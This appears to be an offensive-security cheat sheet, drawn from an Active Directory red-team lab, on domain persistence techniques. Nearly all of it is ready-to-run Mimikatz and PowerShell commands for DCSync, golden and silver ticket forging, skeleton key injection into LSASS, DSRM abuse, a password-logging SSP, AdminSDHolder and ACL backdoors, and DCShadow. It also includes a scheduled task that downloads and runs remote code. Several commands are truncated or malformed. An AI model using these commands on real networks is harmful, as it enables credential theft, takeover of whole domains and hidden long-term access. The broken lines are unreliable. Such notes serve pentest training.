Domain Persistence

Kerberos Authentication

  • NTLM password hash for Kerberos RC4 encryption.

  • Logon Ticket (TGT) provides user auth to DC.

  • Kerberos policy only checked when TGT is created.

  • DC validates user account only when TGT > 20 mins

Golden Ticket

  • A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket.

  • Since user account validation is not done by Domain Controller (KDC service) until TGT is older than 20 minutes, we can use even deleted/revoked accounts.

  • The krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine.

  • Password change has no effect on this attack. If the hash does not match, DC validates against the previously used password.

  • This persistent technique is valid as long as the krbtgt hash is not changed twice.

DCSync Attack

  • Requires a user with the Replicating Directory Changes All and Replicating Directory Changes privileges.

  • Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default. It is also possible for any user to be granted these specific privileges.

  • Once obtained, an adversary uses the Directory Replication Service (DRS) Remote Protocol to replicate data (including credentials) from Active Directory.

  • Use the DCSync feature for getting krbtgt hash execute the below command with DA privileges.

  • In-depth analysis of DCSync with secretsdump :

#Check Rights on Domain Object for current user
#AD Module
Get-ACL "AD: \DC=<domain>,DC=local"
Get-ACL "AD: \DC=<domain>,DC=local" | select-object -ExpandProperty Access

#Users with DCSync rights
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "studentx") -and(($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
Get-ObjectACL -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs | ? {($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') }

#To Add DCSync permissions, run on DC:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName studentx -Rights DCSync -Verbose
Add-DomainObjectACL -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipleIdentity <user>
#Execute attack
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

#Remote execution with impacket
sudo python3 <domain.local>/<username>:'<pass>'@<IP>
  • Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the target DC.

Creating a Golden Ticket


#Running on a DC with DA privs. Extract krbtgt hash.
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc 

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:<domain.local>
/sid:<Domain SID> /krbtgt:<:krbtgt hash> /id:500
/groups:512 /startoffset:0 /endin:600 /renewmax:10080 /aes256:<aes256keyofkrbtgT-optional> /ptt"' 

ls \\<DC.targetdomain.local>\c$
PsExec64.exe \\ cmd.exe

python -nthash <:krbtgt hash> -domain-sid <domain sid> -domain <domain.local> <Anyname>
export KRB5CCNAME=<Anyuser.ccache> <domain.local>/<Anyuser>@<IP> -k -nopass

Silver Ticket

  • TGS tickets are encrypted with the password hash for the service – therefore, if an adversary steals the hash for a service account they can mint TGS tickets for that service.

  • Target the machine account used as a service account.

    • [TIP:DC pwnage with DC-machine$ hash]

    • PAC validation wouldn't be useful in this case since the targeted services are system services.

  • Reasonable persistence period (default 30 days for computer accounts).

  • TGS is forged, so no associated TGT, meaning the DC is never contacted.

  • Any event logs are on the targeted server.

  • Will fail if PAC check is enabled.

  • /target : Machine target

Create a Silver Ticket


  • /target – the target server’s FQDN.

  • /service – the kerberos service running on the target server. i.e Service Principal Name class (or type) [cifs, http, mssql,host]

  • /rc4: NTLM Hash of the Service Account. Mimikatz "privilege::debug" "sekurlsa::logonpasswords"

  • /domain – the fully qualified domain name.

  • /sid – the SID of the domain. In this example: “S-1-5-21-1473643419-774954089-2222329127”.

  • /user – username to impersonate

  • /groups (optional) – group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator’s groups (listed below).

  • /ticket (optional) – provide a path and name for saving the Golden Ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.

  • /ptt – as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.

  • /id (optional) – user RID. Mimikatz default is 500 (the default Administrator account RID).

  • /startoffset (optional) – the start offset when the ticket is available (generally set to –10 or 0 if this option is used). Mimikatz Default value is 0.

  • /endin (optional) – ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).

  • /renewmax (optional) – maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-mssql.dollarcorp.moneycorp.local 
/service:HOST /rc4:6f5b5acaf7433b3282ac22e21e62ff22  /ptt"' 

HOST | Schedule tasks

#List tasks
schtasks /S dcorp-dc.dollarcorp.moneycorp.local

schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "Taskname" /TR
"powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "Taskname"

WMI | Command Execution

  • For accessing WMI, we need to create two tickets, namely for:

    • HOST

    • RPCSS

Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST
/rc4:<machine A/c hash> /user:Administrator /ptt"'

Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS
/rc4:<hash> /user:Administrator /ptt"'

Get-WmiObject -Class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local

WinRM/PS Remote [Admin Rights]

Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:http
/rc4:<hash> /user:Administrator /ptt"'

Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:wsman
/rc4:<hash> /user:Administrator /ptt"'

Enter-PSSession -Computername <PC>

Skeleton Keys

  • Skeleton key is a persistence technique where it is possible to patch a Domain Controller (LSASS process) so that it allows access as any user with a single password.

  • Injects Skeleton Key into LSASS

  • Both real password as well as skeleton key would work.

  • Get stake-holder permission before testing in engagements as this downgrades security.

  • Persistent as long as LSASS service is not restarted.[ i.e DC reboot. Atleast 1 month time]

  • One cannot patch LSASS twice with skeleton key. Requires reboot.

  • You can access other machines as well as long as they authenticate with the DC which has been patched and the DC is not rebooted.

  • Default password :mimikatz

Inject a skeleton key on a Domain Controller

  • Domain Admin privileges required

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorpdc.dollarcorp.moneycorp.local
  • From a Low-priv computer

Enter-PSSession -Computer dcorp-dc.dollarcorp.moneycorp.local -Credential dcorp\administrator

If LSASS is running as a Protected Process

  • We can still use Skeleton Key but it needs the mimikatz driver (mimidriv.sys) on disk of the target DC

  • Noise in logs [Service installation [Kernel mode driver]

mimikatz # privilege::debug 
mimikatz # !+ 
mimikatz # !processprotect /process:lsass.exe /remove 
mimikatz # misc::skeleton 
mimikatz # !- 

Directory Restore Mode Account [DSRM]


What is DSRM?

  • Directory Services Restore Mode

  • There is a local administrator on every DC called "Administrator" whose password is the DSRM password. This is not a domain user but local.

  • Required when a server is promoted to Domain Controller. [Restart in Safe mode].

  • Known Security issue:

    • DSRM logon is not permitted over network.

    • Logon behavior needs to be changed first.

  • After altering the configuration on the DC, it is possible to:

    • Pass the NTLM hash of this user to access the DC.

    • Start a DCSync Attack on the DC to access krbtgt hash.

  • DSRM scope is limited to console logon. [eg: RDP:- run.exe:mstsc /admin]

  • Persistence Lifetime: Extremely long, possibly years.

  • Get stake-holder permission before testing in engagements as this downgrades security.

Change Logon Behaviour for DSRM Account

Enter-PSSession -Computernamedcorp-dc

Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2
#If property is not set.
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose
  • 0 (default): You can only use the DSRM administrator account if the DC is started in DSRM.

  • 1: You can use the DSRM administrator account to log on if the local AD DS service is stopped.

  • 2: You can always use the DSRM administrator account (This setting isn’t recommended, because password policies don’t apply to the DSRM administrator account).

Dump DSRM password

  • SAM hive contains local user password hashes.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

Passing The Hash

  • Note: /domain is the DC name and not domain name

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'
ls \\dcorp-dc\C$

DSRM+ DCSync = Password data for any domain account

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd  /run:powershell.exe"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:dollarcorp.moneycorp.local /dc:DCORP-DC /user:dcorp\krbtgt"' 

Custom SSP

  • A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection.

  • Some SSP Packages by Microsoft are:

    • NTLM

    • Kerberos

    • Wdigest

    • CredSSP

  • Mimikatz provides a custom SSP -mimilib.dll. This SSP logs local logons, service account and machine account passwords in clear text on the target server.

  • DLL can be modified to save into C:\SYSVOL instead. This exposes the log file to all users.

Scenario 1 : Modify Registry [Restart required]

  • Copy mimilib.dll to the same location as LSASS (c:\windows\system32)

  • Update Security Packages registry key (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages) with the SSP DLL name.

  • All local logons on the DC are logged to C:\Windows\system32\kiwissp.log

#Supported SSP on DC:
$packages=Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages' 

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages

shutdown -r

Scenario 2 : Using mimikatz [No restart required]

Use mimikatz to patch LSASS in memory with new SSP with no reboot required

  • Not stable with Server 2016

  • Stored to C:\windows\system32\mimilsa.log

Invoke-Mimikatz -Command '"misc::memssp"'

Using ACLs

Modify Security Descriptors of services

  • Requires DA privs to set ACL

  • Once we have administrative privileges on a machine, we can modify security descriptors of services to access the services without administrative privileges.

  • Tip:Can be used as an effective backdoor technique


#Modifies the host security descriptors for WMI on the DC to allow studentx access to WMI
Set-RemoteWMI -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose
gwmi -class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local

#To run PowerShell remoting on the DC without DA privileges
Set-RemotePSRemoting -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose

#Retrieve machine A/c Hashes from registry ACL
#Modify ACLs (Requires DA)
Add-RemoteRegBackdoor -ComputerName dcorpdc.dollarcorp.moneycorp.local -Trustee studentx -Verbose

#Retrieve hash
Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose


  • Admin Security Descriptor Holder

  • Designed to protect tampering of ACLs with Protected Group.

  • Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected groups and members with the ACL of AdminSDHolder and any differences are overwritten on the object ACL.

  • Resides in the System container of a domain and used to control the permissions

  • Sneaky technique when attacker wants DA privileges without adding a user to DA group as, DA group is frequently audited.

AdminSDHolder Default Protected Objects

  • Account Operators

  • Administrators

  • Backup Operators

  • Domain Admins

  • Domain Controllers

  • Enterprise Admins

  • Krbtgt

  • Print Operators

  • Read-only Domain Controllers

  • Replicator

  • Schema Admins

  • Server Operators


  • Account Operators: Cannot modify DA/EA/BA groups. Can modify nested group within these groups. Eg: Account Operators cannot modify Domain Admin's group, but can modify IT Admin's group which is nested in Domain Admin's group.

  • Backup Operators: Backup GPO, edit to add SID of controlled account to a privileged group and Restore.

  • Server Operators: Run a command as system (using the disabled Browser service)

  • Print Operators: Copy ntds.ditbackup, load device drivers.

Modifying AdminSDHolder Permissions

  • With DA privileges add an ACL for our user for AdminSDHolder Permissions. This will provide the user full control over AdminSDHolder and thus the Protected Groups.

  • Instead of Full control, we can select ResetPassword, WriteMembers etc.

#AD-Module & Set-ADACL 
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal student1 -Verbose

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights All -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -Principal SamAccountName student1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -Principal SamAccountName student1 -Rights WriteMembers -Verbose
  • Wait for 1 hour or Run Invoke-SDPropogator on Domain Controller.

$sess = NewPSSession -Computername dcorp-dc.dollarcorp.moneycorp.local
Invoke-Command -FilePath .\Invoke-SDPropagator.ps1 -Session $sess
Enter-PSSession -Session $sess
Invoke-SDPropagator -showProgress -timeoutMinutes 1 -Verbose

For pre-Server 2008 machines:
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes1 -showProgress -Verbose

Abuse Methods

#Adding a user to Domain Admins Group
Add-DomainGroupMember -Identity 'Domain Admins' -Members testuser -Verbose

Add-ADGroupMember -Identity 'Domain Admins' -Members testuser

#Resetting a Domain Admin's password
Set-DomainUserPassword -Identity testuser -AccountPassword(ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

Set-ADAccountPassword -Identity testuser -NewPassword(ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose

Domain Objects ACL Abuse

  • Tip:It is not recommended to provide Fullcontrol for the user.

  • Grant DCSync rights so that Golden/Silver tickets can be harvested

#ActiveDirectoryModule and Set-ADACL.ps1
Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student1 -Verbose

Add-ObjectAcl -TargetDistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalSamAccountName student1 -Rights All -Verbose

#Password Reset rights
Add-ObjectAcl -TargetSamAccountName <victimuser> -PrincipalSamAccountName <grantuser> -Rights ResetPassword

#DCSync Rights
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName <studentx> -Rights DCSync -Verbose

#ADModule and Set-ADACL
Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal student1 -GUIDRight DCSync -Verbose

DCShadow - Forest Persistence Technique



How the attack works

  1. An attacker obtains Domain Admin rights and wants to make changes that will not be detected to create persistence.

  2. Using DCShadow the attacker will register the computer it is run from (such as a workstation) as a Domain Controller in Active Directory by making changes to the AD’s Configuration schema and the workstation’s SPN values. Now AD thinks this workstation is a Domain Controller and it is trusted to replicate changes.

  3. A change such as: (SIDHistory, AdminSDHolder, Passwords, Account Details, Group Membership) is crafted by the attacker and submitted for replication.

  4. Replication is triggered by DCShadow and the change is replicated and then committed by a legitimate Domain Controller

  • Because the attributes are changed from a "domain controller", there are no directory change logs on the actual DC for the target object.


  • By default, DA privileges are required to use DCShadow.

  • The attacker's machine must be part of the forest root domain.

What can be done with your own DC?

#1 Default Abuse

  • Requires DA to modify and push privileges

    • We can modify any object on any machine as the DA.

  • Requires 2 mimikatz instances.

    • Terminal 1 : Start RPC servers with SYSTEM privileges and specify attributes to be modified.

    • Terminal 2: Using enough privileges (EA/DA or otherwise) to push the values

  • /attribute can be anything

#Terminal1 : Start RPC servers with SYSTEM privileges and specify attributes to be 
lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"

sekurlsa::pth /usr:Administrator /domain:rootdomain.local /ntlm:23hash_value /impersonate
lsadump::dcshadow /push

#2 Minimal Permissions Abuse

  • DA privileges not required to push changes. But restricted scope.

DCShadow can be used with minimal permissions by modifying below ACLs using:

Script: Nishang | Set-DCShadowPermissions

  • The domain object

    • DS-Install-Replica (Add/Remove Replica in Domain)

    • DS-Replication-Manage-Topology (Manage Replication Topology)

    • DS-Replication-Synchronize (Replication Synchornization)

  • The Sites object (and its children) in the Configuration container.

    • CreateChild and DeleteChild

  • The object of the computer which is registered as a DC.

    • WriteProperty (Not Write)

  • The target object

    • WriteProperty (Not Write)

The below command: User student1 logs onto mcorp-student1 DC and modifies root1user object property.

#Run as DA of Root Domain
. .\Set-DCShadowPermissions
Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose

lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"

#Run as low-priv student1 user
lsadump::dcshadow /push

Attack Techniques

Set SIDHistory

  • We can set SIDHistory of a user account to Enterprise Admins or Domain Admins group

  • Stealthy

#With DA Privs
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

#Without DA Privs
Set-DCShadowPermissions -FakeDC mcorp-student1 -SAMAccountName root1user -Username student1 -Verbose

Modify Group Permissions

  • Set primaryGroupID of a user account to Enterprise Admins or Domain Admins group

  • Tip: After below command, the user shows up as a member of the Enterprise Admins group in some enumeration techniques like net group "Enterpise Admins" /domain

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

Modify AdminSDHolder ACL

  • Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user. This will in-turn provide our user permissions of restricted groups.

  • We just need to append a Full Control ACE from above for System(SY)/BuiltinAdmin(BA)/DA with our user's SID at the end.

Get ACLs of AdminSDHolder

  • No changelog that says AdminSDHolders ACL has been modified.

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin
SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl | Set-Clipboard
  • Get Current User's SID : Get-NetUser student

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local 
/attribute:ntSecurityDescriptor /value:<paste modified ACL>


  • Modified registry to run evil.exe

  • Runs on every login

#Covenant Task PersistAutorun.

#Generate autorun.exe & Upload to target

#Confirm registry modification
GetRegistryKey HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Startup Folder

#Registry keys which can be used for StartUp persistence
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

#Covenant Grunt Task

Scheduled Tasks

sc start schedule
sc query schedule

schtasks /create /tn <taskname> /sc <freq> /st <start time> /sd <start date> /tr <payload>
schtasks /query /s

#Run as local system

Winows Update [WSUS]

  • Windows Software Update Servers(WSUS) is the Windows Update software responsible for the fetching, downloading and installing of Windows updates but its installed and run from an organization's own local server.

#Check whether machine gets its updates from a WSUS Server
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

#Get WSUS Server URL
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Golden SAML

Last updated